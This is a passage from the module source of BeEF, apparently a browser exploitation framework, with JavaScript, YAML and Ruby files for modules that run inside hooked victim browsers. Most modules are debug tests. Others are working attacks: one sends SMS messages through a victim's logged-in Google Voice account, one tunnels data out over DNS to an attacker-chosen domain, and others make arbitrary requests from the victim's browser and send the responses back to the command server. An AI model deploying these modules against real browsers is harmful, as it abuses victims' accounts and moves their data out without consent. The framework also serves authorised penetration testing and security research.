Something went wrong. Make sure you prefix the number with the country code."; } } function sendSMS(message,number) { var client = new XMLHttpRequest(); client.open("GET", "https://www.google.com/voice" ,false); client.setRequestHeader("Content-Charset", "ISO-8859-1,utf-8;q=0.7,*;q=0.3"); client.send(); var re = new RegExp(regSMS); var m = re.exec(client.responseText); if (m != null) { //return m[2]; sendSMSNOW(message,number,m[2]); } } sendSMS(message,to); beef.net.sendback('<%= @command_url %>', <%= @command_id %>, 'to='+to+'&message='+message+'&status='+status); }); ================================================ FILE: modules/chrome_extensions/send_gvoice_sms/config.yaml ================================================ # # Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - https://beefproject.com # See the file 'doc/COPYING' for copying permission # beef: module: send_gvoice_sms: enable: true category: "Chrome Extensions" name: "Send Gvoice SMS" description: "Send a text message (SMS) through the Google Voice account of the victim, if she's logged in to Google." authors: ["Kos", "antisnatchor"] target: user_notify: ["C"] not_working: ["ALL"] ================================================ FILE: modules/chrome_extensions/send_gvoice_sms/module.rb ================================================ # # Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - https://beefproject.com # See the file 'doc/COPYING' for copying permission # class Send_gvoice_sms < BeEF::Core::Command def self.options [ { 'name' => 'to', 'ui_label' => 'To', 'value' => '1234567890', 'type' => 'textarea', 'width' => '300px' }, { 'name' => 'message', 'ui_label' => 'Message', 'value' => 'Hello from BeEF', 'type' => 'textarea', 'width' => '300px', 'height' => '200px' } ] end def post_execute content = {} content['To'] = @datastore['to'] content['Message'] = @datastore['message'] content['Status'] = @datastore['status'] save content end end ================================================ FILE: modules/debug/test_beef_debug/command.js ================================================ // // Copyright (c) 2006-2026Wade Alcorn - wade@bindshell.net // Browser Exploitation Framework (BeEF) - https://beefproject.com // See the file 'doc/COPYING' for copying permission // beef.execute(function() { try { var msg = decodeURIComponent(beef.encode.base64.decode('<%= Base64.strict_encode64(@msg) %>')); beef.debug(msg); beef.net.send('<%= @command_url %>', <%= @command_id %>, 'result=called the beef.debug() function. Check the developer console for your debug message.'); } catch(e) { beef.net.send('<%= @command_url %>', <%= @command_id %>, 'result=something went wrong&error='+e.message); } }); ================================================ FILE: modules/debug/test_beef_debug/config.yaml ================================================ # # Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - https://beefproject.com # See the file 'doc/COPYING' for copying permission # beef: module: test_beef_debug: enable: true category: "Debug" name: "Test beef.debug()" description: "Test the 'beef.debug()' function. This function wraps 'console.log()'" authors: ["bcoles"] target: working: ["All"] not_working: ["IE"] ================================================ FILE: modules/debug/test_beef_debug/module.rb ================================================ # # Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - https://beefproject.com # See the file 'doc/COPYING' for copying permission # class Test_beef_debug < BeEF::Core::Command def self.options [ { 'name' => 'msg', 'description' => 'Debug Message', 'ui_label' => 'Debug Message', 'value' => 'Test string for beef.debug() function', 'type' => 'textarea', 'width' => '400px', 'height' => '50px' } ] end def post_execute content = {} content['Result'] = @datastore['result'] save content end end ================================================ FILE: modules/debug/test_cors_request/command.js ================================================ // // Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net // Browser Exploitation Framework (BeEF) - https://beefproject.com // See the file 'doc/COPYING' for copying permission // beef.execute(function() { var method = "<%= @method %>"; var url = "<%= @url %>"; var data = "<%= @data %>"; var timeout = 15000; beef.net.cors.request(method, url, data, timeout, function(response) { beef.net.send("<%= @command_url %>", <%= @command_id %>, "response="+JSON.stringify(response)); }); }); ================================================ FILE: modules/debug/test_cors_request/config.yaml ================================================ # # Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - https://beefproject.com # See the file 'doc/COPYING' for copying permission # beef: module: test_cors_request: enable: true category: "Debug" name: "Test CORS Request" description: "Test the beef.net.cors.request function by retrieving a URL." authors: ["bcoles"] # http://caniuse.com/cors target: working: ["ALL"] not_working: # CORS is partially supported on IE 8 & 9 IE: min_ver: 6 max_ver: 7 O: min_ver: 1 max_ver: 11 C: min_ver: 1 max_ver: 3 S: min_ver: 1 max_ver: 3 F: min_ver: 1 max_ver: 3 ================================================ FILE: modules/debug/test_cors_request/module.rb ================================================ # # Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - https://beefproject.com # See the file 'doc/COPYING' for copying permission # class Test_cors_request < BeEF::Core::Command def post_execute content = {} content['response'] = @datastore['response'] save content end def self.options [ { 'name' => 'method', 'ui_label' => 'Method', 'type' => 'text', 'width' => '400px', 'value' => 'GET' }, { 'name' => 'url', 'ui_label' => 'URL', 'type' => 'text', 'width' => '400px', 'value' => 'http://graph.facebook.com/fql?q=SELECT%20url,total_count%20FROM%20link_stat%20WHERE%20url=%27https://beefproject.com/%27' }, { 'name' => 'data', 'ui_label' => 'Data', 'type' => 'text', 'width' => '400px', 'value' => 'postdata' } ] end end ================================================ FILE: modules/debug/test_dns_tunnel_client/command.js ================================================ // // Copyright (c) 2006-2026Wade Alcorn - wade@bindshell.net // Browser Exploitation Framework (BeEF) - https://beefproject.com // See the file 'doc/COPYING' for copying permission // /* Check the Browser Hacker's Handbook, chapter 3, pages 89-95 for more details about how this works. */ beef.execute(function() { var msgId = "<%= @command_id %>"; var domain = "<%= @domain %>"; var data = "<%= @data %>"; //chunks comes from the callback beef.net.dns.send(msgId, data, domain, function(chunks){ beef.net.send('<%= @command_url %>', <%= @command_id %>, 'dns_requests='+chunks+' requests sent'); } ); }); ================================================ FILE: modules/debug/test_dns_tunnel_client/config.yaml ================================================ # # Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - https://beefproject.com # See the file 'doc/COPYING' for copying permission # beef: module: test_dns_tunnel_client: enable: true category: "Debug" name: "DNS Tunnel" description: "This module sends data one way over DNS, client to server only. BeEF's DNS server is used to reconstruct chunks of data being extruded via DNS.
    Make sure that:
    - the DNS extension is enabled,
    - the DNS server is listening on port 53,
    - the hooked browser is resolving the domain you specified via BeEF's DNS server.

    By default all DNS requests used to extrude data return NXDomain responses." authors: ["antisnatchor", "wade", "bcoles"] target: working: "All" ================================================ FILE: modules/debug/test_dns_tunnel_client/module.rb ================================================ # # Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - https://beefproject.com # See the file 'doc/COPYING' for copying permission # class Test_dns_tunnel_client < BeEF::Core::Command def self.options @configuration = BeEF::Core::Configuration.instance [ { 'name' => 'domain', 'ui_label' => 'Domain', 'type' => 'text', 'width' => '400px', 'value' => 'browserhacker.com' }, { 'name' => 'data', 'ui_label' => 'Data to send', 'type' => 'textarea', 'value' => 'Lorem ipsum dolor sit amet, consectetur adipiscing elit. Cras rutrum fermentum nunc, vel varius libero pharetra a. ' \ 'Duis rhoncus nisi volutpat elit suscipit auctor. In fringilla est eget tortor bibendum gravida. Pellentesque aliquet ' \ 'augue libero, at gravida arcu. Nunc et quam sapien, eu pulvinar erat. Quisque dignissim imperdiet neque, et interdum ' \ 'sem sagittis a. Maecenas non mi elit, a luctus neque. Nam pulvinar libero sit amet dui suscipit facilisis. Duis sed ' \ 'mauris elit. Aliquam cursus scelerisque diam a fringilla. Curabitur mollis nisi in ante hendrerit pellentesque ut ac ' \ 'orci. In congue nunc vitae enim pharetra eleifend.', 'width' => '400px', 'height' => '300px' } ] end def post_execute content = {} content['dns_requests'] = @datastore['dns_requests'] save content end end ================================================ FILE: modules/debug/test_get_variable/command.js ================================================ // // Copyright (c) 2006-2026Wade Alcorn - wade@bindshell.net // Browser Exploitation Framework (BeEF) - https://beefproject.com // See the file 'doc/COPYING' for copying permission // /* This JavaScript gets value of the specified variable that was set in another script via Window property. */ beef.execute(function() { var payload = "<%= @payload_name %>"; var curl = "<%= @command_url %>"; var cid = "<%= @command_id %>"; beef.debug("The current value of " + payload + " is " + Window[payload]); beef.net.send(curl, parseInt(cid),'get_variable=true'); }); ================================================ FILE: modules/debug/test_get_variable/config.yaml ================================================ # # Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - https://beefproject.com # See the file 'doc/COPYING' for copying permission # beef: module: test_get_variable: enable: true category: "Debug" name: "Test JS variable passing" description: "Test for JS variable passing from another BeEF's script via Window object" authors: ["dnkolegov"] target: working: ["All"] ================================================ FILE: modules/debug/test_get_variable/module.rb ================================================ # # Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - https://beefproject.com # See the file 'doc/COPYING' for copying permission # class Test_get_variable < BeEF::Core::Command def self.options [{ 'name' => 'payload_name', 'ui_label' => 'Payload Name', 'type' => 'text', 'value' => 'message', 'width' => '400px' }] end end ================================================ FILE: modules/debug/test_http_redirect/command.js ================================================ // // Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net // Browser Exploitation Framework (BeEF) - https://beefproject.com // See the file 'doc/COPYING' for copying permission // beef.execute(function() { beef.net.send('<%= @command_url %>', <%= @command_id %>, 'result=mounted to /redirect'); }); ================================================ FILE: modules/debug/test_http_redirect/config.yaml ================================================ # # Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - https://beefproject.com # See the file 'doc/COPYING' for copying permission # beef: module: test_http_redirect: enable: true category: "Debug" name: "Test HTTP Redirect" description: "Test the HTTP 'redirect' handler." authors: ["bcoles"] target: working: ["All"] ================================================ FILE: modules/debug/test_http_redirect/module.rb ================================================ # # Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - https://beefproject.com # See the file 'doc/COPYING' for copying permission # class Test_http_redirect < BeEF::Core::Command def pre_send BeEF::Core::NetworkStack::Handlers::AssetHandler.instance.bind_redirect('https://beefproject.com', '/redirect') end def post_execute content = {} content['Result'] = @datastore['result'] save content end end ================================================ FILE: modules/debug/test_network_request/command.js ================================================ // // Copyright (c) 2006-2026Wade Alcorn - wade@bindshell.net // Browser Exploitation Framework (BeEF) - https://beefproject.com // See the file 'doc/COPYING' for copying permission // beef.execute(function() { var scheme = "<%= @scheme %>"; var method = "<%= @method %>"; var domain = "<%= @domain %>"; var port = "<%= @port %>"; var path = "<%= @path %>"; var anchor = "<%= @anchor %>"; var data = "<%= @data %>"; var timeout = "<%= @timeout %>"; var dataType = "<%= @dataType %>"; beef.net.request(scheme, method, domain, port, path, anchor, data, timeout, dataType, function(response) { beef.net.send("<%= @command_url %>", <%= @command_id %>, JSON.stringify(response)); } ); }); ================================================ FILE: modules/debug/test_network_request/config.yaml ================================================ # # Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - https://beefproject.com # See the file 'doc/COPYING' for copying permission # beef: module: test_network_request: enable: true category: "Debug" name: "Test Network Request" description: "Test the beef.net.request function by retrieving a URL." authors: ["bcoles"] target: working: ["ALL"] ================================================ FILE: modules/debug/test_network_request/module.rb ================================================ # # Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - https://beefproject.com # See the file 'doc/COPYING' for copying permission # class Test_network_request < BeEF::Core::Command def post_execute content = {} content['response'] = @datastore['response'] save content end def self.options @configuration = BeEF::Core::Configuration.instance beef_host = @configuration.beef_host beef_port = @configuration.beef_port hook_path = @configuration.get('beef.http.hook_file') [ { 'name' => 'scheme', 'ui_label' => 'Scheme', 'type' => 'text', 'width' => '400px', 'value' => 'http' }, { 'name' => 'method', 'ui_label' => 'Method', 'type' => 'text', 'width' => '400px', 'value' => 'GET' }, { 'name' => 'domain', 'ui_label' => 'Domain', 'type' => 'text', 'width' => '400px', 'value' => beef_host }, { 'name' => 'port', 'ui_label' => 'Port', 'type' => 'text', 'width' => '400px', 'value' => beef_port }, { 'name' => 'path', 'ui_label' => 'Path', 'type' => 'text', 'width' => '400px', 'value' => hook_path }, { 'name' => 'anchor', 'ui_label' => 'Anchor', 'type' => 'text', 'width' => '400px', 'value' => 'irrelevant' }, { 'name' => 'data', 'ui_label' => 'Query String', 'type' => 'text', 'width' => '400px', 'value' => 'query=data' }, { 'name' => 'timeout', 'ui_label' => 'Timeout (s)', 'value' => '10', 'width' => '400px' }, { 'name' => 'dataType', 'ui_label' => 'Data Type', 'type' => 'text', 'width' => '400px', 'value' => 'script' } ] end end ================================================ FILE: modules/debug/test_return_ascii_chars/command.js ================================================ // // Copyright (c) 2006-2026Wade Alcorn - wade@bindshell.net // Browser Exploitation Framework (BeEF) - https://beefproject.com // See the file 'doc/COPYING' for copying permission // beef.execute(function() { var str = ''; for (var i=32; i<=127;i++) str += String.fromCharCode(i); beef.net.send("<%= @command_url %>", <%= @command_id %>, str, beef.are.status_success()); //return [beef.are.status_success(), str]; test_return_ascii_chars_mod_output = [beef.are.status_success(), str]; }); ================================================ FILE: modules/debug/test_return_ascii_chars/config.yaml ================================================ # # Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - https://beefproject.com # See the file 'doc/COPYING' for copying permission # beef: module: test_return_ascii_chars: enable: true category: "Debug" name: "Return Ascii Chars" description: "This module will return the set of ascii chars." authors: ["wade"] target: working: ["ALL"] ================================================ FILE: modules/debug/test_return_ascii_chars/module.rb ================================================ # # Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - https://beefproject.com # See the file 'doc/COPYING' for copying permission # class Test_return_ascii_chars < BeEF::Core::Command def post_execute content = {} content['Result String'] = @datastore['result_string'] save content end end ================================================ FILE: modules/debug/test_return_image/command.js ================================================ // // Copyright (c) 2006-2026Wade Alcorn - wade@bindshell.net // Browser Exploitation Framework (BeEF) - https://beefproject.com // See the file 'doc/COPYING' for copying permission // beef.execute(function() { beef.net.send("<%= @command_url %>", <%= @command_id %>, "image=data:image/png;base64,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